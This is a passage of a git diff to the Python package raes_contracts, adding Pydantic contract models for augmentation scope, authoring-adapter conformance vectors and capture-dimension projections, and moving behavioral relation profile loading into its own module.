b/implementations/python/packages/raes_contracts/_snapshot_updates.py index 63b899d80..0ad44547d 100644 --- a/implementations/python/packages/raes_contracts/_snapshot_updates.py +++ b/implementations/python/packages/raes_contracts/_snapshot_updates.py @@ -74,11 +74,27 @@ def _snapshot_result_updates( "participant_crossing_history", snapshot.participant_crossing_history, ), + "participant_control_evaluation_history": _history_update( + updates, + "participant_control_evaluation_history", + snapshot.participant_control_evaluation_history, + ), + "mixed_composition_states": _mapping_update( + updates, "mixed_composition_states", snapshot.mixed_composition_states + ), + "mixed_composition_history": _history_update( + updates, "mixed_composition_history", snapshot.mixed_composition_history + ), "information_state_history": _history_update( updates, "information_state_history", snapshot.information_state_history, ), + "participant_outcome_history": _history_update( + updates, + "participant_outcome_history", + snapshot.participant_outcome_history, + ), } @@ -141,6 +157,9 @@ def _snapshot_updates( ) -> dict[str, Any]: return { **_snapshot_result_updates(snapshot, updates), + "materialization_attestations": updates.get( + "materialization_attestations", snapshot.materialization_attestations + ), **_snapshot_participant_updates(snapshot, updates), "time_model_state": _time_model_state_update( updates, @@ -167,6 +186,7 @@ def _snapshot_updates( _SNAPSHOT_UPDATE_KEYS = { + "materialization_attestations", "orchestration_results", "orchestration_history", "evaluation_results", @@ -178,7 +198,11 @@ def _snapshot_updates( "participant_behavior_history", "participant_control_history", "participant_crossing_history", + "participant_control_evaluation_history", + "mixed_composition_states", + "mixed_composition_history", "information_state_history", + "participant_outcome_history", "participant_autonomous_execution_states", "participant_execution_services", "participant_resource_budget_states", diff --git a/implementations/python/packages/raes_contracts/addressing.py b/implementations/python/packages/raes_contracts/addressing.py index 7bc8d833b..b56f936c0 100644 --- a/implementations/python/packages/raes_contracts/addressing.py +++ b/implementations/python/packages/raes_contracts/addressing.py @@ -51,10 +51,24 @@ def render_compiled_address(*parts: str) -> str: return require_compiled_address(address) +def is_compiler_owned_temporal_subject_address(address: str) -> bool: + """Return whether a temporal subject is owned by an SDL compiler.""" + + parts = address.split(".") + return address.startswith("sdl.") or ( + len(parts) == 5 + and all(parts) + and parts[0] == "participant" + and parts[1] == "behavior-specification" + and parts[3] == "inject-delivery" + ) + + __all__ = [ "COMPILED_ADDRESS_JSON_SCHEMA", "COMPILED_ADDRESS_MAX_LENGTH", "CompiledAddress", + "is_compiler_owned_temporal_subject_address", "render_compiled_address", "require_compiled_address", ] diff --git a/implementations/python/packages/raes_contracts/associated_artifacts.py b/implementations/python/packages/raes_contracts/associated_artifacts.py index bfe19114c..4394f48a8 100644 --- a/implementations/python/packages/raes_contracts/associated_artifacts.py +++ b/implementations/python/packages/raes_contracts/associated_artifacts.py @@ -9,7 +9,7 @@ import rfc8785 from blake3 import blake3 -from raes import canonical_sdl_digest +from raes import MaterializedScenario, canonical_materialized_sdl_digest, canonical_sdl_digest from raes.scenario import ExpandedScenario, InstantiatedScenario, Scenario from .contracts import ( @@ -132,6 +132,15 @@ def _experiment_parent_matches(manifest: AssociatedArtifactManifestModel, parent def _parent_matches(manifest: AssociatedArtifactManifestModel, parent: object) -> bool: + if manifest.parent_ref.ref_kind == "materialization-attestation": + reference = manifest.parent_ref + return ( + isinstance(parent, MaterializedScenario) + and parent.semantic_validated + and parent.materialization_provenance.attestation_id == reference.ref_id + and reference.ref_version == "raes-sdl-materialized/v1" + and canonical_materialized_sdl_digest(parent).value == reference.ref_digest + ) if manifest.parent_ref.ref_kind in {"scenario", "scenario-snapshot"}: return _scenario_parent_matches(manifest, parent) return _experiment_parent_matches(manifest, parent) diff --git a/implementations/python/packages/raes_contracts/augmentation_preparation.py b/implementations/python/packages/raes_contracts/augmentation_preparation.py new file mode 100644 index 000000000..50cb74a88 --- /dev/null +++ b/implementations/python/packages/raes_contracts/augmentation_preparation.py @@ -0,0 +1,94 @@ +"""Pure prospective effects, bound to the existing source and operation identities.""" + +from __future__ import annotations + +from typing import TYPE_CHECKING, Annotated, Literal + +from pydantic import ConfigDict, Field, model_validator + +from ._base import ContractModel +from .canonical import canonical_json_digest +from .json_ingress import parse_bounded_json_object +from .materialization import MATERIALIZATION_MAX_BYTES, MaterializationDigest +from .observation_demand import SemanticScope +from .realization_structure import validate_realization_value +from .runtime_value_limits import RUNTIME_SNAPSHOT_VALUE_LIMITS + +if TYPE_CHECKING: + from .contracts import BackendManifestV2Model + from .planning import EvaluationPlan, OrchestrationPlan, ProvisioningPlan + from .runtime_state import RuntimeSnapshot + +RequirementReference = Annotated[ + str, Field(min_length=1, max_length=4096, pattern=r"^(?:backend-operational|/(?:[^~]|~[01])*)$") +] + + +class AugmentationEffect(ContractModel): + """Explain an existing materialization difference, never duplicate world values.""" + + model_config = ConfigDict(extra="forbid", frozen=True) + field_pointer: SemanticScope + requirement_refs: tuple[RequirementReference, ...] = Field(min_length=1, max_length=64) + affected_scopes: tuple[SemanticScope, ...] = Field(min_length=1, max_length=256) + + +class AugmentationPreparation(ContractModel): + """Read-only complete prospective common SDL content, not an attestation.""" + + model_config = ConfigDict(extra="forbid", frozen=True) + contract_id: Literal["backend-augmentation-scope-v1"] = "backend-augmentation-scope-v1" + coverage_profile: Literal["raes-materialization-effects/v1"] = "raes-materialization-effects/v1" + binding_digest: MaterializationDigest + content: str = Field(min_length=1, max_length=MATERIALIZATION_MAX_BYTES) + effects: tuple[AugmentationEffect, ...] = Field(default=(), max_length=4096) + + @model_validator(mode="after") + def _bounded_content(self) -> AugmentationPreparation: + if sum(1 + len(effect.requirement_refs) + len(effect.affected_scopes) for effect in self.effects) > 16384: + raise ValueError("prospective scope resolution exceeds the aggregate work budget") + value = parse_bounded_json_object(self.content, max_bytes=MATERIALIZATION_MAX_BYTES) + if not validate_realization_value(value, limits=RUNTIME_SNAPSHOT_VALUE_LIMITS).conformant: + raise ValueError("prospective SDL exceeds portable bounds") + if len({effect.field_pointer for effect in self.effects}) != len(self.effects): + raise ValueError("prospective effect identities must be unique") + if not validate_realization_value( + self.effects, limits=RUNTIME_SNAPSHOT_VALUE_LIMITS, python_carriers=True + ).conformant: + raise ValueError("prospective effect metadata exceeds portable bounds") + return self + + @classmethod + def for_request( + cls, + request: ProvisioningPlan | OrchestrationPlan | EvaluationPlan, + manifest: BackendManifestV2Model, + previous: RuntimeSnapshot, + *, + content: str, + effects: tuple[AugmentationEffect, ...] = (), + ) -> AugmentationPreparation: + return cls( + binding_digest=augmentation_binding_digest(request, manifest, previous), content=content, effects=effects + ) + + +def augmentation_binding_digest( + request: ProvisioningPlan | OrchestrationPlan | EvaluationPlan, + manifest: BackendManifestV2Model, + previous: RuntimeSnapshot, +) -> str: + """Seal the whole plan, including source, run, operation and producer identity.""" + from .plan_projection import runtime_plan_digest + from .realization_preparation import preparation_snapshot_digest + + if request.materialization_source is None or not request.operation_id or manifest.realization_envelope is None: + raise ValueError("augmentation preparation requires bound source and execution identity") + return canonical_json_digest( + { + "profile": "backend-augmentation-scope-v1", + "plan": runtime_plan_digest(request), + "predecessor": preparation_snapshot_digest(previous), + "manifest": manifest.model_dump(mode="json"), + } + ) diff --git a/implementations/python/packages/raes_contracts/augmentation_scope.py b/implementations/python/packages/raes_contracts/augmentation_scope.py new file mode 100644 index 000000000..44c023423 --- /dev/null +++ b/implementations/python/packages/raes_contracts/augmentation_scope.py @@ -0,0 +1,78 @@ +"""Addition permission over existing semantic scopes, independent of realization.""" + +from __future__ import annotations + +from dataclasses import dataclass +from typing import Annotated, Literal + +from pydantic import ConfigDict, Field, model_validator + +from ._base import ContractModel +from .observation_demand import SemanticScope +from .realization_structure import semantic_address_contains + +AUGMENTATION_SCOPE_CONTRACT = "backend-augmentation-scope-v1" +AugmentationPermission = Literal["open", "closed"] +ScopeNamespacePart = Annotated[str, Field(pattern=r"^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)$", max_length=64)] + + +class AugmentationScopeRule(ContractModel): + """One explicit node or concern permission, using a semantic address.""" + + model_config = ConfigDict(extra="forbid", frozen=True) + scope: SemanticScope + permission: AugmentationPermission + namespace: tuple[ScopeNamespacePart, ...] = Field(default=(), max_length=31) + + +class AugmentationScopePolicy(ContractModel): + """Authors opt into restrictions; omission imposes no new authoring burden.""" + + model_config = ConfigDict(extra="forbid", frozen=True) + default: AugmentationPermission = "open" + scopes: tuple[AugmentationScopeRule, ...] = Field(default=(), max_length=256) + + @model_validator(mode="after") + def _unique_scopes(self) -> AugmentationScopePolicy: + if len({(rule.namespace, rule.scope) for rule in self.scopes}) != len(self.scopes): + raise ValueError("augmentation scopes must be unique; equal-specificity rules cannot conflict") + return self + + +OptionalAugmentationScope = Annotated[ + AugmentationScopePolicy | None, + Field(exclude_if=lambda value: value is None, json_schema_extra={"x-raes-realization-dimension": False}), +] + + +@dataclass(frozen=True) +class AugmentationScopeDecision: + permission: AugmentationPermission + governing_scope: str + + +def effective_augmentation_scope( + policy: AugmentationScopePolicy | None, scope: str, *, namespace: tuple[str, ...] | None = None +) -> AugmentationScopeDecision: + """Resolve one canonical location; an explicit child overrides its default.""" + + if policy is None: + return AugmentationScopeDecision("open", "") + tokens = scope.split("/") + owner = namespace + if owner is None: + owner = tuple(tokens[2].replace("~1", "/").replace("~0", "~").split(".")[:-1]) if len(tokens) > 2 else () + layers: dict[tuple[str, ...], list[AugmentationScopeRule]] = {(): []} + for rule in policy.scopes: + if owner[: len(rule.namespace)] == rule.namespace and semantic_address_contains(rule.scope, scope): + layers.setdefault(rule.namespace, []).append(rule) + decision = AugmentationScopeDecision(policy.default, "") + for namespace, rules in sorted(layers.items()): + if rules: + rule = max(rules, key=lambda item: len(item.scope.split("/"))) + decision = AugmentationScopeDecision(rule.permission, rule.scope) + elif namespace: + continue + if decision.permission == "closed": + return decision + return decision diff --git a/implementations/python/packages/raes_contracts/authoring_adapters.py b/implementations/python/packages/raes_contracts/authoring_adapters.py new file mode 100644 index 000000000..661033c83 --- /dev/null +++ b/implementations/python/packages/raes_contracts/authoring_adapters.py @@ -0,0 +1,231 @@ +"""Portable finite-vector contracts for authoring-path consistency (ASR-516).""" + +from __future__ import annotations + +import hashlib +from typing import Annotated, Literal + +from pydantic import Field, GetJsonSchemaHandler, model_validator +from pydantic.json_schema import JsonSchemaValue +from pydantic_core import CoreSchema +from raes.identifiers import PortableIdentifier + +from .canonical import canonical_json_digest +from .contracts.base import ContractModel, PrefixedDigestString +from .contracts.schema_invariants import _add_raes_invariant +from .json_ingress import parse_bounded_json_object +from .semantic_comparison import ScenarioCoordinateModel + +CaseId = Annotated[str, Field(pattern=r"^[a-z0-9]+(?:-[a-z0-9]+)*$", max_length=128)] +Relation = Literal["equivalent", "different", "incomparable", "not-applicable"] +Reason = Literal[ + "left-input-mismatch", + "right-input-mismatch", + "left-invalid", + "right-invalid", + "left-unexpected", + "right-unexpected", + "outcomes-differ", + "artifacts-differ", + "diagnostics-differ", + "provenance-differs", + "semantics-differ", + "semantic-context-incomplete", +] + + +class AuthoringAdapterProfileModel(ContractModel): + """Fixed meaning and resource ceilings of the first, source-only profile.""" + + profile_id: Literal["raes-authoring-adapter-conformance/v1"] = "raes-authoring-adapter-conformance/v1" + source_profile: Literal["sdl-yaml/v1"] = "sdl-yaml/v1" + migration_policy: Literal["reject"] = "reject" + canonicalization_profile: Literal["raes-sdl-semantic/v2"] = "raes-sdl-semantic/v2" + diagnostic_profile: Literal["authoring-diagnostic-semantics/v1"] = "authoring-diagnostic-semantics/v1" + semantic_profile_digest: PrefixedDigestString + max_source_bytes: Literal[65536] = 65536 + max_diagnostics: Literal[64] = 64 + max_cases: Literal[32] = 32 + + +class AuthoringOperationModel(ContractModel): + profile: Literal["validate-sdl/v1", "rename-sdl-declaration/v1"] + target_address: str | None = Field(default=None, min_length=1, max_length=4096) + new_local_name: PortableIdentifier | None = None + + @model_validator(mode="after") + def _require_operation_fields(self) -> AuthoringOperationModel: + rename = self.profile == "rename-sdl-declaration/v1" + if rename != (self.target_address is not None) or rename != (self.new_local_name is not None): + raise ValueError("only rename requires target_address and new_local_name") + return self + + +class AuthoringObservationModel(ContractModel): + """Derived evidence; consumers must retain the original diagnostic/report carriers.""" + + outcome: Literal["success", "refused"] + artifact_coordinate: ScenarioCoordinateModel | None + canonical_artifact_digest: PrefixedDigestString | None + diagnostics_digest: PrefixedDigestString + transformation_digest: PrefixedDigestString | None + + @model_validator(mode="after") + def _require_artifact(self) -> AuthoringObservationModel: + success = self.outcome == "success" + if success != (self.artifact_coordinate is not None) or success != (self.canonical_artifact_digest is not None): + raise ValueError("success requires an artifact; refusal must not carry one") + return self + + +class AuthoringContrastModel(ContractModel): + """Fixed negative witness: one alternative emitted artifact and its dispositions.""" + + output_source: str = Field(min_length=1, max_length=65536) + artifact_relation: Literal["different"] + semantic_relation: Literal["equivalent", "different"] + + +class AuthoringAdapterVectorModel(ContractModel): + schema_version: Literal["authoring-adapter-vector/v1"] = "authoring-adapter-vector/v1" + case_id: CaseId + profile_digest: PrefixedDigestString + input_source: str = Field(min_length=1, max_length=65536) + input_digest: PrefixedDigestString + operation: AuthoringOperationModel + operation_digest: PrefixedDigestString + expected: AuthoringObservationModel + contrast: AuthoringContrastModel | None = None + + @model_validator(mode="after") + def _require_bound_inputs(self) -> AuthoringAdapterVectorModel: + encoded = self.input_source.encode("utf-8") + if len(encoded) > 65536: + raise ValueError("source exceeds the byte limit") + if self.contrast is not None and len(self.contrast.output_source.encode("utf-8")) > 65536: + raise ValueError("contrast source exceeds the byte limit") + if self.input_digest != "sha256:" + hashlib.sha256(encoded).hexdigest(): + raise ValueError("input digest does not bind the exact source bytes") + if self.operation_digest != canonical_json_digest(self.operation.model_dump(mode="json")): + raise ValueError("operation digest does not bind the complete operation") + return self + + @classmethod + def __get_pydantic_json_schema__(cls, core_schema: CoreSchema, handler: GetJsonSchemaHandler) -> JsonSchemaValue: + schema = handler.resolve_ref_schema(handler(core_schema)) + _add_raes_invariant( + schema, + "authoring-vector-bound-inputs", + "Exact UTF-8 source and closed operation digests must match; outcomes must bind artifacts.", + validator="raes_contracts.authoring_adapters.AuthoringAdapterVectorModel.model_validate", + inputs=[{"contract_id": "authoring-adapter-vector-v1", "instance_path": "#"}], + ) + return schema + + +class AuthoringAdapterComparisonModel(ContractModel): + """Four independent dispositions with a separately retained semantic result.""" + + schema_version: Literal["authoring-adapter-comparison/v1"] = "authoring-adapter-comparison/v1" + case_id: CaseId + vector_digest: PrefixedDigestString + left_path: CaseId + right_path: CaseId + left: AuthoringObservationModel | None + right: AuthoringObservationModel | None + left_matches_expected: bool + right_matches_expected: bool + artifact_relation: Relation + diagnostic_relation: Relation + provenance_relation: Relation + semantic_relation: Relation + semantic_result_digest: PrefixedDigestString | None + reason_codes: tuple[Reason, ...] = Field(default=(), max_length=12) + + @model_validator(mode="after") + def _require_evidence(self) -> AuthoringAdapterComparisonModel: + if self.reason_codes != tuple(sorted(set(self.reason_codes))): + raise ValueError("reason_codes must be sorted and unique") + comparable = self._require_observations() + has_artifacts = self._require_semantic_evidence(comparable) + if comparable: + self._require_applicability(has_artifacts) + return self + + def _require_observations(self) -> bool: + for observation, matches in ( + (self.left, self.left_matches_expected), + (self.right, self.right_matches_expected), + ): + if observation is None and matches: + raise ValueError("missing observations cannot match the vector") + comparable = self.left is not None and self.right is not None + if not comparable and any(relation != "incomparable" for relation in self.relations): + raise ValueError("missing observations require incomparable axes") + return comparable + + def _require_semantic_evidence(self, comparable: bool) -> bool: + has_artifacts = comparable and self.left.outcome == self.right.outcome == "success" + if has_artifacts != (self.semantic_result_digest is not None): + raise ValueError("two successful observations require semantic evidence") + if has_artifacts and self.semantic_relation == "not-applicable": + raise ValueError("two artifacts require an applicable semantic relation") + return has_artifacts + + def _require_applicability(self, has_artifacts: bool) -> None: + no_artifacts = self.left.outcome == self.right.outcome == "refused" + if no_artifacts != (self.artifact_relation == "not-applicable"): + raise ValueError("artifact applicability must match the observed outcomes") + if self.diagnostic_relation == "not-applicable": + raise ValueError("diagnostics are always applicable to admitted observations") + no_provenance = self.left.transformation_digest is None and self.right.transformation_digest is None + if no_provenance != (self.provenance_relation == "not-applicable"): + raise ValueError("provenance applicability must match the observed evidence") + if not has_artifacts and self.semantic_relation != "not-applicable": + raise ValueError("semantic comparison requires two artifacts") + + @classmethod + def __get_pydantic_json_schema__(cls, core_schema: CoreSchema, handler: GetJsonSchemaHandler) -> JsonSchemaValue: + schema = handler.resolve_ref_schema(handler(core_schema)) + _add_raes_invariant( + schema, + "authoring-comparison-evidence-shape", + "Axes must remain applicable to their evidence; success requires semantic companion evidence.", + validator="raes_contracts.authoring_adapters.AuthoringAdapterComparisonModel.model_validate", + inputs=[{"contract_id": "authoring-adapter-comparison-v1", "instance_path": "#"}], + ) + return schema + + @property + def relations(self) -> tuple[Relation, ...]: + return self.artifact_relation, self.diagnostic_relation, self.provenance_relation, self.semantic_relation + + @property + def conformant(self) -> bool: + return ( + self.left_matches_expected + and self.right_matches_expected + and all(relation in {"equivalent", "not-applicable"} for relation in self.relations) + ) + + +def parse_authoring_vector(source: str | bytes) -> AuthoringAdapterVectorModel: + """Admit a bounded descriptor before resolving its pinned profiles.""" + return AuthoringAdapterVectorModel.model_validate(parse_bounded_json_object(source, max_bytes=128 * 1024)) + + +def parse_authoring_comparison(source: str | bytes) -> AuthoringAdapterComparisonModel: + """Admit a bounded portable report without trusting a caller's result shape.""" + return AuthoringAdapterComparisonModel.model_validate(parse_bounded_json_object(source, max_bytes=65536)) + + +__all__ = [ + "AuthoringAdapterComparisonModel", + "AuthoringAdapterProfileModel", + "AuthoringAdapterVectorModel", + "AuthoringContrastModel", + "AuthoringObservationModel", + "AuthoringOperationModel", + "parse_authoring_comparison", + "parse_authoring_vector", +] diff --git a/implementations/python/packages/raes_contracts/behavioral_relation_profiles.py b/implementations/python/packages/raes_contracts/behavioral_relation_profiles.py index b9cc540c3..077915f8c 100644 --- a/implementations/python/packages/raes_contracts/behavioral_relation_profiles.py +++ b/implementations/python/packages/raes_contracts/behavioral_relation_profiles.py @@ -2,15 +2,38 @@ from __future__ import annotations -from functools import cache -from pathlib import Path from typing import Annotated, Literal from pydantic import Field, GetJsonSchemaHandler, model_validator from pydantic.json_schema import JsonSchemaValue from pydantic_core import CoreSchema -from raes.identifiers import is_portable_identifier +from ._behavioral_profile_loader import ( + SUPPORTED_BEHAVIORAL_RELATION_PROFILE_IDS as SUPPORTED_BEHAVIORAL_RELATION_PROFILE_IDS, +) +from ._behavioral_profile_loader import ( + behavioral_relation_profile_path as behavioral_relation_profile_path, +) +from ._behavioral_profile_loader import ( + behavioral_relation_profiles_root as behavioral_relation_profiles_root, +) +from ._behavioral_profile_loader import ( + load_behavioral_relation_profile as load_behavioral_relation_profile, +) +from ._behavioral_profile_loader import ( + load_behavioral_relation_profile_from_path as load_behavioral_relation_profile_from_path, +) +from ._behavioral_profile_loader import ( + load_behavioral_relation_profile_revision as load_behavioral_relation_profile_revision, +) +from ._participant_crossing_profile import ( + HIDDEN, + INPUT_CLASSES, + VISIBLE, + ParticipantCrossingParametersModel, + crossing_profile_schema_join, + validate_crossing_profile_join, +) from .canonical import canonical_json_digest from .contracts.base import ( BehavioralTaxonomyRevision, @@ -18,19 +41,8 @@ NonEmptyString, PrefixedDigestString, ) -from .corpus import PROFILES, corpus_family_root -from .json_ingress import parse_bounded_json_object from .versions import BEHAVIORAL_RELATION_PROFILE_SCHEMA_VERSION -_MAX_PROFILE_BYTES = 256 * 1024 -SUPPORTED_BEHAVIORAL_RELATION_PROFILE_IDS = frozenset( - { - "participant-opacity-baseline-v1", - "participant-opacity-runtime-reference-v1", - "participant-opacity-theorem-v1", - } -) - ProfileId = Annotated[ str, Field(pattern=r"^[a-z0-9]+(?:-[a-z0-9]+)*$", max_length=64), @@ -337,7 +349,7 @@ class BehavioralRelationProfileModel(ContractModel): profile_revision: Revision taxonomy_id: Literal["raes-behavioral-relations"] taxonomy_revision: BehavioralTaxonomyRevision - relation_id: Literal["participant-predicate-opacity"] + relation_id: Literal["participant-predicate-opacity", "divergence-preserving-branching-bisimulation"] left_carrier_ref: SafeRef observation_projection_ref: SafeRef observation_projection_revision: Revision @@ -345,7 +357,10 @@ class BehavioralRelationProfileModel(ContractModel): "declared-complete-finite-carrier", "abstract-parameterized-theorem-carrier", ] - parameters: ParticipantPredicateOpacityParametersModel + parameters: Annotated[ + ParticipantPredicateOpacityParametersModel | ParticipantCrossingParametersModel, + Field(discriminator="kind"), + ] source_refs: tuple[BehavioralProfileSourceModel, ...] = Field( min_length=1, max_length=16, @@ -358,13 +373,18 @@ class BehavioralRelationProfileModel(ContractModel): @model_validator(mode="after") def _validate_profile_join(self) -> BehavioralRelationProfileModel: + source_ids = tuple(item.source_ref for item in self.source_refs) + _require_sorted_unique(source_ids, "profile source refs") + if isinstance(self.parameters, ParticipantCrossingParametersModel): + validate_crossing_profile_join(self) + return self + if self.relation_id != "participant-predicate-opacity": + raise ValueError("opacity parameters require the opacity relation") if ( self.parameters.observation.projection_ref != self.observation_projection_ref or self.parameters.observation.projection_revision != self.observation_projection_revision ): raise ValueError("profile observation projection must match the parameter projection") - source_ids = tuple(item.source_ref for item in self.source_refs) - _require_sorted_unique(source_ids, "profile source refs") finite_variant = isinstance(self.parameters.carrier, FiniteOpacityCarrierModel) if finite_variant != (self.finite_analysis_scope == "declared-complete-finite-carrier"): raise ValueError("profile assurance scope must match its carrier variant") @@ -377,7 +397,7 @@ def __get_pydantic_json_schema__( handler: GetJsonSchemaHandler, ) -> JsonSchemaValue: json_schema = handler.resolve_ref_schema(handler(core_schema)) - + json_schema.setdefault("allOf", []).append(crossing_profile_schema_join()) json_schema.setdefault("allOf", []).extend( [ { @@ -401,87 +421,11 @@ def canonical_digest(self) -> str: return canonical_json_digest(self.model_dump(mode="json")) -def behavioral_relation_profiles_root() -> Path: - return corpus_family_root(PROFILES) / "behavioral-relation" - - -def _validate_profile_id(profile_id: str) -> None: - if not is_portable_identifier(profile_id): - raise ValueError("requested behavioral relation profile id must be a portable identifier") - if profile_id not in SUPPORTED_BEHAVIORAL_RELATION_PROFILE_IDS: - raise ValueError(f"requested behavioral relation profile {profile_id!r} is unsupported") - - -def behavioral_relation_profile_path(profile_id: str) -> Path: - _validate_profile_id(profile_id) - return behavioral_relation_profiles_root() / f"{profile_id}.json" - - -def load_behavioral_relation_profile_from_path( - profile_id: str, - path: Path, -) -> BehavioralRelationProfileModel: - """Load one trusted profile path after strict bounded JSON ingress.""" - - _validate_profile_id(profile_id) - try: - payload = parse_bounded_json_object( - path.read_bytes(), - max_bytes=_MAX_PROFILE_BYTES, - ) - profile = BehavioralRelationProfileModel.model_validate(payload) - except (OSError, ValueError): - raise ValueError("behavioral relation profile JSON or contract is invalid") from None - if profile.profile_id != profile_id: - raise ValueError("behavioral relation profile artifact identity does not match the requested profile") - return profile - - -@cache -def load_behavioral_relation_profile( - profile_id: str, -) -> BehavioralRelationProfileModel: - return load_behavioral_relation_profile_from_path( - profile_id, - behavioral_relation_profile_path(profile_id), - ) - - -_HISTORICAL_PROFILE_PATHS = { - ( - "participant-opacity-baseline-v1", - "sem-231/rev2", - ): behavioral_relation_profiles_root() / "history" / "participant-opacity-baseline-v1-sem-231-rev2.json", - ( - "participant-opacity-runtime-reference-v1", - "sem-231/runtime-rev1", - ): behavioral_relation_profiles_root() - / "history" - / "participant-opacity-runtime-reference-v1-sem-231-runtime-rev1.json", -} - - -@cache -def load_behavioral_relation_profile_revision( - profile_id: str, - profile_revision: str, -) -> BehavioralRelationProfileModel: - """Resolve an exact immutable profile revision for evidence replay.""" - - _validate_profile_id(profile_id) - historical_path = _HISTORICAL_PROFILE_PATHS.get((profile_id, profile_revision)) - if historical_path is not None: - profile = load_behavioral_relation_profile_from_path(profile_id, historical_path) - if profile.profile_revision != profile_revision: - raise ValueError("historical behavioral relation profile revision does not match its registry entry") - return profile - current = load_behavioral_relation_profile(profile_id) - if current.profile_revision == profile_revision: - return current - raise ValueError("requested behavioral relation profile revision is unsupported") - - __all__ = [ + "HIDDEN", + "INPUT_CLASSES", + "VISIBLE", + "ParticipantCrossingParametersModel", "ActiveOpacityStrategyModel", "AbstractOpacityCarrierModel", "BehavioralRelationProfileModel", diff --git a/implementations/python/packages/raes_contracts/behavioral_relations.py b/implementations/python/packages/raes_contracts/behavioral_relations.py index 1200559f8..e331c71c7 100644 --- a/implementations/python/packages/raes_contracts/behavioral_relations.py +++ b/implementations/python/packages/raes_contracts/behavioral_relations.py @@ -394,6 +394,12 @@ def _validate_binding_profile( ) -> None: """Join a required profile to the exact catalog and claim coordinates.""" + from .behavioral_relation_profiles import ParticipantCrossingParametersModel + + if isinstance(profile.parameters, ParticipantCrossingParametersModel): + if binding.right_carrier_ref != profile.parameters.right.model_id: + raise ValueError("behavioral claim binding right carrier does not match the resolved profile") + expected = ( ( profile.profile_id, diff --git a/implementations/python/packages/raes_contracts/capture_dimensions.py b/implementations/python/packages/raes_contracts/capture_dimensions.py new file mode 100644 index 000000000..dd999c4b5 --- /dev/null +++ b/implementations/python/packages/raes_contracts/capture_dimensions.py @@ -0,0 +1,159 @@ +"""Governed capture dimensions shared by closed offers and demand projections.""" + +from __future__ import annotations + +from collections.abc import Mapping +from dataclasses import dataclass +from typing import Literal + +Comparison = Literal[ + "equal", "optional-equal", "subset", "exact-subset", "pointers", "overlap", "sensitivity", "export" +] +_DERIVED = "@derived" + + +def _scalar_matches(comparison: Comparison, required: object, supported: object) -> bool: + matches = required == supported + if comparison == "optional-equal": + matches = not required or matches + elif comparison == "sensitivity": + matches = not required or supported == "*" or matches + elif comparison == "export": + matches = required == "not-required" or matches + return matches + + +@dataclass(frozen=True) +class CaptureDimension: + name: str + diagnostic: str + comparison: Comparison + sdl_attribute: str | None + capture_attribute: str | None + collection: Literal["scalar", "set", "ordered"] = "scalar" + required_value: str | None = None + default: str | None = "" + + def matches(self, required: object, supported: object) -> bool: + """Apply the dimension's own wildcard/empty-value semantics.""" + + if self.comparison in {"equal", "optional-equal", "sensitivity", "export"}: + return _scalar_matches(self.comparison, required, supported) + if self.comparison == "overlap": + return not required or bool(set(required).intersection(supported)) + wildcard = "" if self.comparison == "pointers" else "*" + return ( + not required + or self.comparison != "exact-subset" + and wildcard in supported + or set(required).issubset(supported) + ) + + +# @derived marks a projection owned by the processor, where channel/window or +# disclosure semantics require more than reading an attribute. Missing derived +# projections fail; adding a model field also requires parity-test coverage. +CAPTURE_DIMENSIONS = ( + CaptureDimension( + "output_contract", "output-contract-mismatch", "optional-equal", "output_contract", "output_contract" + ), + CaptureDimension( + "field_selectors", "field-selector-missing", "pointers", "field_selectors", "field_selectors", "ordered" + ), + CaptureDimension( + "artifact_roles", "artifact-role-mismatch", "subset", "artifact_role", "required_artifact_roles", "set" + ), + CaptureDimension("media_types", "media-type-mismatch", "overlap", "media_types", "expected_media_types", "set"), + CaptureDimension("capture_kind", "capture-kind-mismatch", "optional-equal", _DERIVED, "capture_kind"), + CaptureDimension("source_classes", "source-class-mismatch", "subset", "source_class", None, "set"), + CaptureDimension("source_refs", "source-ref-mismatch", "subset", "source_refs", None, "set"), + CaptureDimension("scopes", "scope-mismatch", "subset", "scope", "capture_scope", "set"), + CaptureDimension("scope_refs", "scope-ref-mismatch", "exact-subset", "scope_refs", None, "set"), + CaptureDimension("channel_kinds", "channel-mismatch", "subset", _DERIVED, None, "set"), + CaptureDimension("channel_refs", "channel-ref-mismatch", "subset", "channel_refs", _DERIVED, "set"), + CaptureDimension("window_kinds", "window-mismatch", "subset", _DERIVED, _DERIVED, "set"), + CaptureDimension("integrity_modes", "integrity-mismatch", "subset", "integrity", "integrity_requirements", "set"), + CaptureDimension("sensitivity", "sensitivity-mismatch", "sensitivity", "sensitivity", "sensitivity"), + CaptureDimension("availability", "availability-insufficient", "equal", None, None, required_value="available"), + CaptureDimension("fidelity", "fidelity-insufficient", "equal", None, None, required_value="complete"), + CaptureDimension("disclosure", "disclosure-insufficient", "equal", _DERIVED, _DERIVED), + CaptureDimension("retention_policy_refs", "retention-mismatch", "subset", "retention", "retention_policy", "set"), + CaptureDimension("export_policy", "export-policy-mismatch", "export", None, None, default="not-required"), + CaptureDimension( + "redaction_policy", "redaction-policy-mismatch", "equal", _DERIVED, "redaction_policy", default=None + ), +) +CAPTURE_SET_FIELDS = tuple(dimension.name for dimension in CAPTURE_DIMENSIONS if dimension.collection == "set") + + +def capture_offer_payload(offer: object) -> dict[str, object]: + """Project all declared dimensions without weakening either closed model.""" + + payload = {"offer_id": offer.offer_id, "offer_version": offer.offer_version} + for dimension in CAPTURE_DIMENSIONS: + value = getattr(offer, dimension.name) + if dimension.collection == "set": + value = sorted(value) + elif dimension.collection == "ordered": + value = list(value) + payload[dimension.name] = value + return payload + + +def capture_offer_fields(model: object) -> dict[str, object]: + """Reconstruct protocol collection types from the validated wire model.""" + + values = {"offer_id": model.offer_id, "offer_version": model.offer_version} + for dimension in CAPTURE_DIMENSIONS: + value = getattr(model, dimension.name) + if dimension.collection == "set": + value = frozenset(value) + elif dimension.collection == "ordered": + value = tuple(value) + values[dimension.name] = value + return values + + +def _projection_value(dimension: CaptureDimension, value: object) -> object: + if dimension.collection == "scalar": + return str(getattr(value, "value", value)) if value is not None else dimension.default + if value is None or value == "": + values = () + elif isinstance(value, str): + values = (str(getattr(value, "value", value)),) + else: + values = value + return tuple(values) + + +def project_capture_dimensions( + requirement: object, + *, + source: Literal["sdl", "capture"], + overrides: Mapping[str, object], +) -> dict[str, object]: + """Project existing authored carriers through every governed dimension.""" + + dimensions = tuple(dimension for dimension in CAPTURE_DIMENSIONS if dimension.required_value is None) + if source not in {"sdl", "capture"} or set(overrides) - {dimension.name for dimension in dimensions}: + raise ValueError("capture projection contains an unknown source or dimension") + projected = {} + for dimension in dimensions: + attribute = dimension.sdl_attribute if source == "sdl" else 